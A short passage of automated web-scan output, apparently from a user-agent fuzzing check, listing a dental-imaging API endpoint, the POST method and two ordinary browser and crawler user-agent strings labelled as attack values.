Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
Instances	23
Solution	
Reference	https://owasp.org/wstg
CWE Id	
WASC Id	
Plugin Id	10104